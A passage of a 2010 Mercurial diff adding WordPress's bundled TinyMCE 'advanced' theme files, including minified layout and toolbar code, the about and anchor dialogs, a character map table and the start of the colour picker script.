i=this.editor.id;b.clear(i+"_resize");b.clear(i+"_path_row");b.clear(i+"_external_close")},_simpleLayout:function(y,r,k,i){var x=this,u=x.editor,v=y.theme_advanced_toolbar_location,m=y.theme_advanced_statusbar_location,l,j,q,w;if(y.readonly){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});return j}if(v=="top"){x._addToolbars(r,k)}if(v=="external"){l=w=d.create("div",{style:"position:relative"});l=d.add(l,"div",{id:u.id+"_external","class":"mceExternalToolbar"});d.add(l,"a",{id:u.id+"_external_close",href:"javascript:;","class":"mceExternalClose"});l=d.add(l,"table",{id:u.id+"_tblext",cellSpacing:0,cellPadding:0});q=d.add(l,"tbody");if(i.firstChild.className=="mceOldBoxModel"){i.firstChild.appendChild(w)}else{i.insertBefore(w,i.firstChild)}x._addToolbars(q,k);u.onMouseUp.add(function(){var o=d.get(u.id+"_external");d.show(o);d.hide(g);var n=b.add(u.id+"_external_close","click",function(){d.hide(u.id+"_external");b.remove(u.id+"_external_close","click",n)});d.show(o);d.setStyle(o,"top",0-d.getRect(u.id+"_tblext").h-1);d.hide(o);d.show(o);o.style.filter="";g=u.id+"_external";o=null})}if(m=="top"){x._addStatusBar(r,k)}if(!y.theme_advanced_toolbar_container){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"})}if(v=="bottom"){x._addToolbars(r,k)}if(m=="bottom"){x._addStatusBar(r,k)}return j},_rowLayout:function(w,m,k){var v=this,p=v.editor,u,x,i=p.controlManager,l,j,r,q;u=w.theme_advanced_containers_default_class||"";x=w.theme_advanced_containers_default_align||"center";f(c(w.theme_advanced_containers||""),function(s,o){var n=w["theme_advanced_container_"+s]||"";switch(n.toLowerCase()){case"mceeditor":l=d.add(m,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});break;case"mceelementpath":v._addStatusBar(m,k);break;default:q=(w["theme_advanced_container_"+s+"_align"]||x).toLowerCase();q="mce"+v._ufirst(q);l=d.add(d.add(m,"tr"),"td",{"class":"mceToolbar "+(w["theme_advanced_container_"+s+"_class"]||u)+" "+q||x});r=i.createToolbar("toolbar"+o);v._addControls(n,r);d.setHTML(l,r.renderHTML());k.deltaHeight-=w.theme_advanced_row_height}});return j},_addControls:function(j,i){var k=this,l=k.settings,m,n=k.editor.controlManager;if(l.theme_advanced_disable&&!k._disabled){m={};f(c(l.theme_advanced_disable),function(o){m[o]=1});k._disabled=m}else{m=k._disabled}f(c(j),function(p){var o;if(m&&m[p]){return}if(p=="tablecontrols"){f(["table","|","row_props","cell_props","|","row_before","row_after","delete_row","|","col_before","col_after","delete_col","|","split_cells","merge_cells"],function(q){q=k.createControl(q,n);if(q){i.add(q)}});return}o=k.createControl(p,n);if(o){i.add(o)}})},_addToolbars:function(w,k){var z=this,p,m,r=z.editor,A=z.settings,y,j=r.controlManager,u,l,q=[],x;x=A.theme_advanced_toolbar_align.toLowerCase();x="mce"+z._ufirst(x);l=d.add(d.add(w,"tr"),"td",{"class":"mceToolbar "+x});if(!r.getParam("accessibility_focus")){q.push(d.createHTML("a",{href:"#",onfocus:"tinyMCE.get('"+r.id+"').focus();"},""))}q.push(d.createHTML("a",{href:"#",accesskey:"q",title:r.getLang("advanced.toolbar_focus")},""));for(p=1;(y=A["theme_advanced_buttons"+p]);p++){m=j.createToolbar("toolbar"+p,{"class":"mceToolbarRow"+p});if(A["theme_advanced_buttons"+p+"_add"]){y+=","+A["theme_advanced_buttons"+p+"_add"]}if(A["theme_advanced_buttons"+p+"_add_before"]){y=A["theme_advanced_buttons"+p+"_add_before"]+","+y}z._addControls(y,m);q.push(m.renderHTML());k.deltaHeight-=A.theme_advanced_row_height}q.push(d.createHTML("a",{href:"#",accesskey:"z",title:r.getLang("advanced.toolbar_focus"),onfocus:"tinyMCE.getInstanceById('"+r.id+"').focus();"},""));d.setHTML(l,q.join(""))},_addStatusBar:function(m,j){var k,v=this,p=v.editor,w=v.settings,i,q,u,l;k=d.add(m,"tr");k=l=d.add(k,"td",{"class":"mceStatusbar"});k=d.add(k,"div",{id:p.id+"_path_row"},w.theme_advanced_path?p.translate("advanced.path")+": ":" ");d.add(k,"a",{href:"#",accesskey:"x"});if(w.theme_advanced_resizing){d.add(l,"a",{id:p.id+"_resize",href:"javascript:;",onclick:"return false;","class":"mceResize"});if(w.theme_advanced_resizing_use_cookie){p.onPostRender.add(function(){var n=a.getHash("TinyMCE_"+p.id+"_size"),r=d.get(p.id+"_tbl");if(!n){return}if(w.theme_advanced_resize_horizontal){r.style.width=Math.max(10,n.cw)+"px"}r.style.height=Math.max(10,n.ch)+"px";d.get(p.id+"_ifr").style.height=Math.max(10,parseInt(n.ch)+v.deltaHeight)+"px"})}p.onPostRender.add(function(){b.add(p.id+"_resize","mousedown",function(x){var z,t,o,s,y,r;z=d.get(p.id+"_tbl");o=z.clientWidth;s=z.clientHeight;miw=w.theme_advanced_resizing_min_width||100;mih=w.theme_advanced_resizing_min_height||100;maw=w.theme_advanced_resizing_max_width||65535;mah=w.theme_advanced_resizing_max_height||65535;t=d.add(d.get(p.id+"_parent"),"div",{"class":"mcePlaceHolder"});d.setStyles(t,{width:o,height:s});d.hide(z);d.show(t);i={x:x.screenX,y:x.screenY,w:o,h:s,dx:null,dy:null};q=b.add(d.doc,"mousemove",function(B){var n,A;i.dx=B.screenX-i.x;i.dy=B.screenY-i.y;n=Math.max(miw,i.w+i.dx);A=Math.max(mih,i.h+i.dy);n=Math.min(maw,n);A=Math.min(mah,A);if(w.theme_advanced_resize_horizontal){t.style.width=n+"px"}t.style.height=A+"px";return b.cancel(B)});u=b.add(d.doc,"mouseup",function(n){var A;b.remove(d.doc,"mousemove",q);b.remove(d.doc,"mouseup",u);z.style.display="";d.remove(t);if(i.dx===null){return}A=d.get(p.id+"_ifr");if(w.theme_advanced_resize_horizontal){z.style.width=Math.max(10,i.w+i.dx)+"px"}z.style.height=Math.max(10,i.h+i.dy)+"px";A.style.height=Math.max(10,A.clientHeight+i.dy)+"px";if(w.theme_advanced_resizing_use_cookie){a.setHash("TinyMCE_"+p.id+"_size",{cw:i.w+i.dx,ch:i.h+i.dy})}});return b.cancel(x)})})}j.deltaHeight-=21;k=m=null},_nodeChanged:function(l,u,k,q){var y=this,i,r=0,x,m,z=y.settings,w,j,o;if(z.readonly){return}e.each(y.stateControls,function(n){u.setActive(n,l.queryCommandState(y.controls[n][1]))});u.setActive("visualaid",l.hasVisual);u.setDisabled("undo",!l.undoManager.hasUndo()&&!l.typing);u.setDisabled("redo",!l.undoManager.hasRedo());u.setDisabled("outdent",!l.queryCommandState("Outdent"));i=d.getParent(k,"A");if(m=u.get("link")){if(!i||!i.name){m.setDisabled(!i&&q);m.setActive(!!i)}}if(m=u.get("unlink")){m.setDisabled(!i&&q);m.setActive(!!i&&!i.name)}if(m=u.get("anchor")){m.setActive(!!i&&i.name);if(e.isWebKit){i=d.getParent(k,"IMG");m.setActive(!!i&&d.getAttrib(i,"mce_name")=="a")}}i=d.getParent(k,"IMG");if(m=u.get("image")){m.setActive(!!i&&k.className.indexOf("mceItem")==-1)}if(m=u.get("styleselect")){if(k.className){y._importClasses();m.select(k.className)}else{m.select()}}if(m=u.get("formatselect")){i=d.getParent(k,d.isBlock);if(i){m.select(i.nodeName.toLowerCase())}}if(l.settings.convert_fonts_to_spans){l.dom.getParent(k,function(p){if(p.nodeName==="SPAN"){if(!w&&p.className){w=p.className}if(!j&&p.style.fontSize){j=p.style.fontSize}if(!o&&p.style.fontFamily){o=p.style.fontFamily.replace(/[\"\']+/g,"").replace(/^([^,]+).*/,"$1").toLowerCase()}}return false});if(m=u.get("fontselect")){m.select(function(n){return n.replace(/^([^,]+).*/,"$1").toLowerCase()==o})}if(m=u.get("fontsizeselect")){m.select(function(n){if(n.fontSize&&n.fontSize===j){return true}if(n["class"]&&n["class"]===w){return true}})}}else{if(m=u.get("fontselect")){m.select(l.queryCommandValue("FontName"))}if(m=u.get("fontsizeselect")){x=l.queryCommandValue("FontSize");m.select(function(n){return n.fontSize==x})}}if(z.theme_advanced_path&&z.theme_advanced_statusbar_location){i=d.get(l.id+"_path")||d.add(l.id+"_path_row","span",{id:l.id+"_path"});d.setHTML(i,"");l.dom.getParent(k,function(A){var p=A.nodeName.toLowerCase(),s,v,t="";if(A.nodeType!=1||A.nodeName==="BR"||(d.hasClass(A,"mceItemHidden")||d.hasClass(A,"mceItemRemoved"))){return}if(x=d.getAttrib(A,"mce_name")){p=x}if(e.isIE&&A.scopeName!=="HTML"){p=A.scopeName+":"+p}p=p.replace(/mce\:/g,"");switch(p){case"b":p="strong";break;case"i":p="em";break;case"img":if(x=d.getAttrib(A,"src")){t+="src: "+x+" "}break;case"a":if(x=d.getAttrib(A,"name")){t+="name: "+x+" ";p+="#"+x}if(x=d.getAttrib(A,"href")){t+="href: "+x+" "}break;case"font":if(z.convert_fonts_to_spans){p="span"}if(x=d.getAttrib(A,"face")){t+="font: "+x+" "}if(x=d.getAttrib(A,"size")){t+="size: "+x+" "}if(x=d.getAttrib(A,"color")){t+="color: "+x+" "}break;case"span":if(x=d.getAttrib(A,"style")){t+="style: "+x+" "}break}if(x=d.getAttrib(A,"id")){t+="id: "+x+" "}if(x=A.className){x=x.replace(/(webkit-[\w\-]+|Apple-[\w\-]+|mceItem\w+|mceVisualAid)/g,"");if(x&&x.indexOf("mceItem")==-1){t+="class: "+x+" ";if(d.isBlock(A)||p=="img"||p=="span"){p+="."+x}}}p=p.replace(/(html:)/g,"");p={name:p,node:A,title:t};y.onResolveName.dispatch(y,p);t=p.title;p=p.name;v=d.create("a",{href:"javascript:;",onmousedown:"return false;",title:t,"class":"mcePath_"+(r++)},p);if(i.hasChildNodes()){i.insertBefore(d.doc.createTextNode(" \u00bb "),i.firstChild);i.insertBefore(v,i.firstChild)}else{i.appendChild(v)}},l.getBody())}},_sel:function(i){this.editor.execCommand("mceSelectNodeDepth",false,i)},_mceInsertAnchor:function(k,j){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/anchor.htm",width:320+parseInt(i.getLang("advanced.anchor_delta_width",0)),height:90+parseInt(i.getLang("advanced.anchor_delta_height",0)),inline:true},{theme_url:this.url})},_mceCharMap:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/charmap.htm",width:550+parseInt(i.getLang("advanced.charmap_delta_width",0)),height:250+parseInt(i.getLang("advanced.charmap_delta_height",0)),inline:true},{theme_url:this.url})},_mceHelp:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/about.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceColorPicker:function(k,j){var i=this.editor;j=j||{};i.windowManager.open({url:e.baseURL+"/themes/advanced/color_picker.htm",width:375+parseInt(i.getLang("advanced.colorpicker_delta_width",0)),height:250+parseInt(i.getLang("advanced.colorpicker_delta_height",0)),close_previous:false,inline:true},{input_color:j.color,func:j.func,theme_url:this.url})},_mceCodeEditor:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/source_editor.htm",width:parseInt(i.getParam("theme_advanced_source_editor_width",720)),height:parseInt(i.getParam("theme_advanced_source_editor_height",580)),inline:true,resizable:true,maximizable:true},{theme_url:this.url})},_mceImage:function(j,k){var i=this.editor;if(i.dom.getAttrib(i.selection.getNode(),"class").indexOf("mceItem")!=-1){return}i.windowManager.open({url:e.baseURL+"/themes/advanced/image.htm",width:355+parseInt(i.getLang("advanced.image_delta_width",0)),height:275+parseInt(i.getLang("advanced.image_delta_height",0)),inline:true},{theme_url:this.url})},_mceLink:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/link.htm",width:310+parseInt(i.getLang("advanced.link_delta_width",0)),height:200+parseInt(i.getLang("advanced.link_delta_height",0)),inline:true},{theme_url:this.url})},_mceNewDocument:function(){var i=this.editor;i.windowManager.confirm("advanced.newdocument",function(j){if(j){i.execCommand("mceSetContent",false,"")}})},_mceForeColor:function(){var i=this;this._mceColorPicker(0,{color:i.fgColor,func:function(j){i.fgColor=j;i.editor.execCommand("ForeColor",false,j)}})},_mceBackColor:function(){var i=this;this._mceColorPicker(0,{color:i.bgColor,func:function(j){i.bgColor=j;i.editor.execCommand("HiliteColor",false,j)}})},_ufirst:function(i){return i.substring(0,1).toUpperCase()+i.substring(1)}});e.ThemeManager.add("advanced",e.themes.AdvancedTheme)}(tinymce)); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/image.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/image.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,89 @@ + + + + {#advanced_dlg.image_title} + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    + x +
    +
    +
    + +
    +
    + +
    + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/img/colorpicker.jpg Binary file web/wp-includes/js/tinymce/themes/advanced/img/colorpicker.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/img/fm.gif Binary file web/wp-includes/js/tinymce/themes/advanced/img/fm.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/img/gotmoxie.png Binary file web/wp-includes/js/tinymce/themes/advanced/img/gotmoxie.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/img/icons.gif Binary file web/wp-includes/js/tinymce/themes/advanced/img/icons.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/img/sflogo.png Binary file web/wp-includes/js/tinymce/themes/advanced/img/sflogo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/js/about.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/js/about.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,72 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + var ed, tcont; + + tinyMCEPopup.resizeToInnerSize(); + ed = tinyMCEPopup.editor; + + // Give FF some time + window.setTimeout(insertHelpIFrame, 10); + + tcont = document.getElementById('plugintablecontainer'); + document.getElementById('plugins_tab').style.display = 'none'; + + var html = ""; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + + tinymce.each(ed.plugins, function(p, n) { + var info; + + if (!p.getInfo) + return; + + html += ''; + + info = p.getInfo(); + + if (info.infourl != null && info.infourl != '') + html += ''; + else + html += ''; + + if (info.authorurl != null && info.authorurl != '') + html += ''; + else + html += ''; + + html += ''; + html += ''; + + document.getElementById('plugins_tab').style.display = ''; + + }); + + html += ''; + html += '
    ' + ed.getLang('advanced_dlg.about_plugin') + '' + ed.getLang('advanced_dlg.about_author') + '' + ed.getLang('advanced_dlg.about_version') + '
    ' + info.longname + '' + info.longname + '' + info.author + '' + info.author + '' + info.version + '
    '; + + tcont.innerHTML = html; + + tinyMCEPopup.dom.get('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion; + tinyMCEPopup.dom.get('date').innerHTML = tinymce.releaseDate; +} + +function insertHelpIFrame() { + var html; + + if (tinyMCEPopup.getParam('docs_url')) { + html = ''; + document.getElementById('iframecontainer').innerHTML = html; + document.getElementById('help_tab').style.display = 'block'; + } +} + +tinyMCEPopup.onInit.add(init); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/js/anchor.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/js/anchor.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,37 @@ +tinyMCEPopup.requireLangPack(); + +var AnchorDialog = { + init : function(ed) { + var action, elm, f = document.forms[0]; + + this.editor = ed; + elm = ed.dom.getParent(ed.selection.getNode(), 'A,IMG'); + v = ed.dom.getAttrib(elm, 'name'); + + if (v) { + this.action = 'update'; + f.anchorName.value = v; + } + + f.insert.value = ed.getLang(elm ? 'update' : 'insert'); + }, + + update : function() { + var ed = this.editor; + + tinyMCEPopup.restoreSelection(); + + if (this.action != 'update') + ed.selection.collapse(1); + + // Webkit acts weird if empty inline element is inserted so we need to use a image instead + if (tinymce.isWebKit) + ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('img', {mce_name : 'a', name : document.forms[0].anchorName.value, 'class' : 'mceItemAnchor'})); + else + ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('a', {name : document.forms[0].anchorName.value, 'class' : 'mceItemAnchor'}, '')); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(AnchorDialog.init, AnchorDialog); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/js/charmap.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/js/charmap.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,325 @@ +tinyMCEPopup.requireLangPack(); + +var charmap = [ + [' ', ' ', true, 'no-break space'], + ['&', '&', true, 'ampersand'], + ['"', '"', true, 'quotation mark'], +// finance + ['¢', '¢', true, 'cent sign'], + ['€', '€', true, 'euro sign'], + ['£', '£', true, 'pound sign'], + ['¥', '¥', true, 'yen sign'], +// signs + ['©', '©', true, 'copyright sign'], + ['®', '®', true, 'registered sign'], + ['™', '™', true, 'trade mark sign'], + ['‰', '‰', true, 'per mille sign'], + ['µ', 'µ', true, 'micro sign'], + ['·', '·', true, 'middle dot'], + ['•', '•', true, 'bullet'], + ['…', '…', true, 'three dot leader'], + ['′', '′', true, 'minutes / feet'], + ['″', '″', true, 'seconds / inches'], + ['§', '§', true, 'section sign'], + ['¶', '¶', true, 'paragraph sign'], + ['ß', 'ß', true, 'sharp s / ess-zed'], +// quotations + ['‹', '‹', true, 'single left-pointing angle quotation mark'], + ['›', '›', true, 'single right-pointing angle quotation mark'], + ['«', '«', true, 'left pointing guillemet'], + ['»', '»', true, 'right pointing guillemet'], + ['‘', '‘', true, 'left single quotation mark'], + ['’', '’', true, 'right single quotation mark'], + ['“', '“', true, 'left double quotation mark'], + ['”', '”', true, 'right double quotation mark'], + ['‚', '‚', true, 'single low-9 quotation mark'], + ['„', '„', true, 'double low-9 quotation mark'], + ['<', '<', true, 'less-than sign'], + ['>', '>', true, 'greater-than sign'], + ['≤', '≤', true, 'less-than or equal to'], + ['≥', '≥', true, 'greater-than or equal to'], + ['–', '–', true, 'en dash'], + ['—', '—', true, 'em dash'], + ['¯', '¯', true, 'macron'], + ['‾', '‾', true, 'overline'], + ['¤', '¤', true, 'currency sign'], + ['¦', '¦', true, 'broken bar'], + ['¨', '¨', true, 'diaeresis'], + ['¡', '¡', true, 'inverted exclamation mark'], + ['¿', '¿', true, 'turned question mark'], + ['ˆ', 'ˆ', true, 'circumflex accent'], + ['˜', '˜', true, 'small tilde'], + ['°', '°', true, 'degree sign'], + ['−', '−', true, 'minus sign'], + ['±', '±', true, 'plus-minus sign'], + ['÷', '÷', true, 'division sign'], + ['⁄', '⁄', true, 'fraction slash'], + ['×', '×', true, 'multiplication sign'], + ['¹', '¹', true, 'superscript one'], + ['²', '²', true, 'superscript two'], + ['³', '³', true, 'superscript three'], + ['¼', '¼', true, 'fraction one quarter'], + ['½', '½', true, 'fraction one half'], + ['¾', '¾', true, 'fraction three quarters'], +// math / logical + ['ƒ', 'ƒ', true, 'function / florin'], + ['∫', '∫', true, 'integral'], + ['∑', '∑', true, 'n-ary sumation'], + ['∞', '∞', true, 'infinity'], + ['√', '√', true, 'square root'], + ['∼', '∼', false,'similar to'], + ['≅', '≅', false,'approximately equal to'], + ['≈', '≈', true, 'almost equal to'], + ['≠', '≠', true, 'not equal to'], + ['≡', '≡', true, 'identical to'], + ['∈', '∈', false,'element of'], + ['∉', '∉', false,'not an element of'], + ['∋', '∋', false,'contains as member'], + ['∏', '∏', true, 'n-ary product'], + ['∧', '∧', false,'logical and'], + ['∨', '∨', false,'logical or'], + ['¬', '¬', true, 'not sign'], + ['∩', '∩', true, 'intersection'], + ['∪', '∪', false,'union'], + ['∂', '∂', true, 'partial differential'], + ['∀', '∀', false,'for all'], + ['∃', '∃', false,'there exists'], + ['∅', '∅', false,'diameter'], + ['∇', '∇', false,'backward difference'], + ['∗', '∗', false,'asterisk operator'], + ['∝', '∝', false,'proportional to'], + ['∠', '∠', false,'angle'], +// undefined + ['´', '´', true, 'acute accent'], + ['¸', '¸', true, 'cedilla'], + ['ª', 'ª', true, 'feminine ordinal indicator'], + ['º', 'º', true, 'masculine ordinal indicator'], + ['†', '†', true, 'dagger'], + ['‡', '‡', true, 'double dagger'], +// alphabetical special chars + ['À', 'À', true, 'A - grave'], + ['Á', 'Á', true, 'A - acute'], + ['Â', 'Â', true, 'A - circumflex'], + ['Ã', 'Ã', true, 'A - tilde'], + ['Ä', 'Ä', true, 'A - diaeresis'], + ['Å', 'Å', true, 'A - ring above'], + ['Æ', 'Æ', true, 'ligature AE'], + ['Ç', 'Ç', true, 'C - cedilla'], + ['È', 'È', true, 'E - grave'], + ['É', 'É', true, 'E - acute'], + ['Ê', 'Ê', true, 'E - circumflex'], + ['Ë', 'Ë', true, 'E - diaeresis'], + ['Ì', 'Ì', true, 'I - grave'], + ['Í', 'Í', true, 'I - acute'], + ['Î', 'Î', true, 'I - circumflex'], + ['Ï', 'Ï', true, 'I - diaeresis'], + ['Ð', 'Ð', true, 'ETH'], + ['Ñ', 'Ñ', true, 'N - tilde'], + ['Ò', 'Ò', true, 'O - grave'], + ['Ó', 'Ó', true, 'O - acute'], + ['Ô', 'Ô', true, 'O - circumflex'], + ['Õ', 'Õ', true, 'O - tilde'], + ['Ö', 'Ö', true, 'O - diaeresis'], + ['Ø', 'Ø', true, 'O - slash'], + ['Œ', 'Œ', true, 'ligature OE'], + ['Š', 'Š', true, 'S - caron'], + ['Ù', 'Ù', true, 'U - grave'], + ['Ú', 'Ú', true, 'U - acute'], + ['Û', 'Û', true, 'U - circumflex'], + ['Ü', 'Ü', true, 'U - diaeresis'], + ['Ý', 'Ý', true, 'Y - acute'], + ['Ÿ', 'Ÿ', true, 'Y - diaeresis'], + ['Þ', 'Þ', true, 'THORN'], + ['à', 'à', true, 'a - grave'], + ['á', 'á', true, 'a - acute'], + ['â', 'â', true, 'a - circumflex'], + ['ã', 'ã', true, 'a - tilde'], + ['ä', 'ä', true, 'a - diaeresis'], + ['å', 'å', true, 'a - ring above'], + ['æ', 'æ', true, 'ligature ae'], + ['ç', 'ç', true, 'c - cedilla'], + ['è', 'è', true, 'e - grave'], + ['é', 'é', true, 'e - acute'], + ['ê', 'ê', true, 'e - circumflex'], + ['ë', 'ë', true, 'e - diaeresis'], + ['ì', 'ì', true, 'i - grave'], + ['í', 'í', true, 'i - acute'], + ['î', 'î', true, 'i - circumflex'], + ['ï', 'ï', true, 'i - diaeresis'], + ['ð', 'ð', true, 'eth'], + ['ñ', 'ñ', true, 'n - tilde'], + ['ò', 'ò', true, 'o - grave'], + ['ó', 'ó', true, 'o - acute'], + ['ô', 'ô', true, 'o - circumflex'], + ['õ', 'õ', true, 'o - tilde'], + ['ö', 'ö', true, 'o - diaeresis'], + ['ø', 'ø', true, 'o slash'], + ['œ', 'œ', true, 'ligature oe'], + ['š', 'š', true, 's - caron'], + ['ù', 'ù', true, 'u - grave'], + ['ú', 'ú', true, 'u - acute'], + ['û', 'û', true, 'u - circumflex'], + ['ü', 'ü', true, 'u - diaeresis'], + ['ý', 'ý', true, 'y - acute'], + ['þ', 'þ', true, 'thorn'], + ['ÿ', 'ÿ', true, 'y - diaeresis'], + ['Α', 'Α', true, 'Alpha'], + ['Β', 'Β', true, 'Beta'], + ['Γ', 'Γ', true, 'Gamma'], + ['Δ', 'Δ', true, 'Delta'], + ['Ε', 'Ε', true, 'Epsilon'], + ['Ζ', 'Ζ', true, 'Zeta'], + ['Η', 'Η', true, 'Eta'], + ['Θ', 'Θ', true, 'Theta'], + ['Ι', 'Ι', true, 'Iota'], + ['Κ', 'Κ', true, 'Kappa'], + ['Λ', 'Λ', true, 'Lambda'], + ['Μ', 'Μ', true, 'Mu'], + ['Ν', 'Ν', true, 'Nu'], + ['Ξ', 'Ξ', true, 'Xi'], + ['Ο', 'Ο', true, 'Omicron'], + ['Π', 'Π', true, 'Pi'], + ['Ρ', 'Ρ', true, 'Rho'], + ['Σ', 'Σ', true, 'Sigma'], + ['Τ', 'Τ', true, 'Tau'], + ['Υ', 'Υ', true, 'Upsilon'], + ['Φ', 'Φ', true, 'Phi'], + ['Χ', 'Χ', true, 'Chi'], + ['Ψ', 'Ψ', true, 'Psi'], + ['Ω', 'Ω', true, 'Omega'], + ['α', 'α', true, 'alpha'], + ['β', 'β', true, 'beta'], + ['γ', 'γ', true, 'gamma'], + ['δ', 'δ', true, 'delta'], + ['ε', 'ε', true, 'epsilon'], + ['ζ', 'ζ', true, 'zeta'], + ['η', 'η', true, 'eta'], + ['θ', 'θ', true, 'theta'], + ['ι', 'ι', true, 'iota'], + ['κ', 'κ', true, 'kappa'], + ['λ', 'λ', true, 'lambda'], + ['μ', 'μ', true, 'mu'], + ['ν', 'ν', true, 'nu'], + ['ξ', 'ξ', true, 'xi'], + ['ο', 'ο', true, 'omicron'], + ['π', 'π', true, 'pi'], + ['ρ', 'ρ', true, 'rho'], + ['ς', 'ς', true, 'final sigma'], + ['σ', 'σ', true, 'sigma'], + ['τ', 'τ', true, 'tau'], + ['υ', 'υ', true, 'upsilon'], + ['φ', 'φ', true, 'phi'], + ['χ', 'χ', true, 'chi'], + ['ψ', 'ψ', true, 'psi'], + ['ω', 'ω', true, 'omega'], +// symbols + ['ℵ', 'ℵ', false,'alef symbol'], + ['ϖ', 'ϖ', false,'pi symbol'], + ['ℜ', 'ℜ', false,'real part symbol'], + ['ϑ','ϑ', false,'theta symbol'], + ['ϒ', 'ϒ', false,'upsilon - hook symbol'], + ['℘', '℘', false,'Weierstrass p'], + ['ℑ', 'ℑ', false,'imaginary part'], +// arrows + ['←', '←', true, 'leftwards arrow'], + ['↑', '↑', true, 'upwards arrow'], + ['→', '→', true, 'rightwards arrow'], + ['↓', '↓', true, 'downwards arrow'], + ['↔', '↔', true, 'left right arrow'], + ['↵', '↵', false,'carriage return'], + ['⇐', '⇐', false,'leftwards double arrow'], + ['⇑', '⇑', false,'upwards double arrow'], + ['⇒', '⇒', false,'rightwards double arrow'], + ['⇓', '⇓', false,'downwards double arrow'], + ['⇔', '⇔', false,'left right double arrow'], + ['∴', '∴', false,'therefore'], + ['⊂', '⊂', false,'subset of'], + ['⊃', '⊃', false,'superset of'], + ['⊄', '⊄', false,'not a subset of'], + ['⊆', '⊆', false,'subset of or equal to'], + ['⊇', '⊇', false,'superset of or equal to'], + ['⊕', '⊕', false,'circled plus'], + ['⊗', '⊗', false,'circled times'], + ['⊥', '⊥', false,'perpendicular'], + ['⋅', '⋅', false,'dot operator'], + ['⌈', '⌈', false,'left ceiling'], + ['⌉', '⌉', false,'right ceiling'], + ['⌊', '⌊', false,'left floor'], + ['⌋', '⌋', false,'right floor'], + ['⟨', '〈', false,'left-pointing angle bracket'], + ['⟩', '〉', false,'right-pointing angle bracket'], + ['◊', '◊', true,'lozenge'], + ['♠', '♠', false,'black spade suit'], + ['♣', '♣', true, 'black club suit'], + ['♥', '♥', true, 'black heart suit'], + ['♦', '♦', true, 'black diamond suit'], + [' ', ' ', false,'en space'], + [' ', ' ', false,'em space'], + [' ', ' ', false,'thin space'], + ['‌', '‌', false,'zero width non-joiner'], + ['‍', '‍', false,'zero width joiner'], + ['‎', '‎', false,'left-to-right mark'], + ['‏', '‏', false,'right-to-left mark'], + ['­', '­', false,'soft hyphen'] +]; + +tinyMCEPopup.onInit.add(function() { + tinyMCEPopup.dom.setHTML('charmapView', renderCharMapHTML()); +}); + +function renderCharMapHTML() { + var charsPerRow = 20, tdWidth=20, tdHeight=20, i; + var html = ''; + var cols=-1; + + for (i=0; i' + + '' + + charmap[i][1] + + ''; + if ((cols+1) % charsPerRow == 0) + html += ''; + } + } + + if (cols % charsPerRow > 0) { + var padd = charsPerRow - (cols % charsPerRow); + for (var i=0; i '; + } + + html += '
    '; + + return html; +} + +function insertChar(chr) { + tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';'); + + // Refocus in window + if (tinyMCEPopup.isWindow) + window.focus(); + + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); +} + +function previewChar(codeA, codeB, codeN) { + var elmA = document.getElementById('codeA'); + var elmB = document.getElementById('codeB'); + var elmV = document.getElementById('codeV'); + var elmN = document.getElementById('codeN'); + + if (codeA=='#160;') { + elmV.innerHTML = '__'; + } else { + elmV.innerHTML = '&' + codeA; + } + + elmB.innerHTML = '&' + codeA; + elmA.innerHTML = '&' + codeB; + elmN.innerHTML = codeN; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/js/color_picker.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/js/color_picker.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,253 @@ +tinyMCEPopup.requireLangPack(); + +var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false; + +var colors = [ + "#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033", + 